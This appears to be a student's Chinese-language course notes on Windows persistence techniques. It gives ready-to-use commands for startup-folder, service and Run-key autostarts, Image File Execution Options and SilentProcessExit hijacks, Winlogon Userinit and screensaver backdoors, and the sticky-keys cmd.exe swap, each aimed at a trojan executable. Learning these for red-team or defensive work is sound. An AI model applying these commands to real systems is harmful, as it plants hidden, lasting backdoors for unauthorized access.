143-权限维持&自启动&映像劫持&粘滞键&辅助屏保后门&WinLogon

参考：FlowUs 息流 - 新一代生产力工具

参考：Windows权限维持—自启动&映像劫持&粘滞键&辅助屏保后门&WinLogon-CSDN博客

权限维持-域环境&单机版-自启动

1、自启动路径加载

"C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"

注意中间有个空格一般用引号包裹一下，另外不同的用户的用户名不同要修改一下，将木马放置在此目录下系统重新启动就会执行这里面的程序

需要重启系统

2、自启动服务加载

通过添加一个自启动的服务来执行木马

sc create ServiceTest binPath= C:\Users\Administrator\Downloads\muma.exe start=auto 创建名为ServiceTest的服务，路径 自动开启

sc delete ServiceTest

刚创建的服务是无法直接运行的，所以只能得到主机重启后执行上线，也就达到了我们权限维持的要求。

需要重启系统

3、自启动注册表加载

-当前用户键值

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

-服务器键值（需要管理员权限）

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

-添加启动项

REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "backdoor" /t REG_SZ /F /D "C:\Users\Administrator\Downloads\muma.exe"

也需要重启系统生效

4、计划计时任务

参考前面横向移动课程，我记得是at和schtasks命令

权限维持-域环境&单机版-映像劫持

测试：执行notepad成cmd

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe /c calc"

配合GlobalFlag（系统的一个设置）隐藏：执行正常关闭后触发

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\Users\Administrator\Downloads\muma.exe"

利用此命令运行notepad后将记事本关闭可就会触发后门程序。

权限维持-域环境&单机版-屏保&登录

1、WinLogon配合无文件落地上线 userinit.exe

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /V "Userinit" /t REG_SZ /F /D "C:\windows\system32\userinit.exe,C:\Users\Administrator\Downloads\muma.exe"

userinit.exe是一个登录之后才会运行的一个程序，所以这也是将这个程序替换为后门文件然后等待任何人切换用户登录后触发执行后门

无文件落地的上线思路其实就是使用的powershell的直接运行shellcode上线，这个不执行后门cx而是调用cs生成的powershell的shellcode去执行上线。

2、屏幕保护生效后执行后门

reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "C:\Users\Administrator\Downloads\muma.exe" /f

屏幕保护文件被替换为后门，也是挺有意思的思路，一旦屏保就触发后门的执行。

其实也是劫持的一种我认为，上面劫持的一些程序这里劫持的这个屏保程序。

权限维持-域环境&单机版-粘滞键

必须是system权限才能执行，administrator都是无法对其进行修改的。。。

粘滞键位置：

c:\windows\system32\sethc.exe

move sethc.exe sethc1.exe

copy cmd.exe sethc.exe

这个我第一入门的实验就做了这个，还是挺有意思的，主要是锁屏的情况下没有密码任然可以五下shift唤醒cmd

另外还有DLL劫持，nishang（没讲好像很老了没啥人用了），以及简单的演示了一下使用wmic横向与移动上传rustdesk但是失败了。。。

Windows权限维持的就这些启动项，注册表，劫持，计划任务，影子后门，粘滞键等等这些，算是老生常谈了，会落地实体的后门终究还是容易被发现，像什么内存马进程注入留下的后门就不容易被发现但是又容易受到系统重启的影响，各有千秋吧。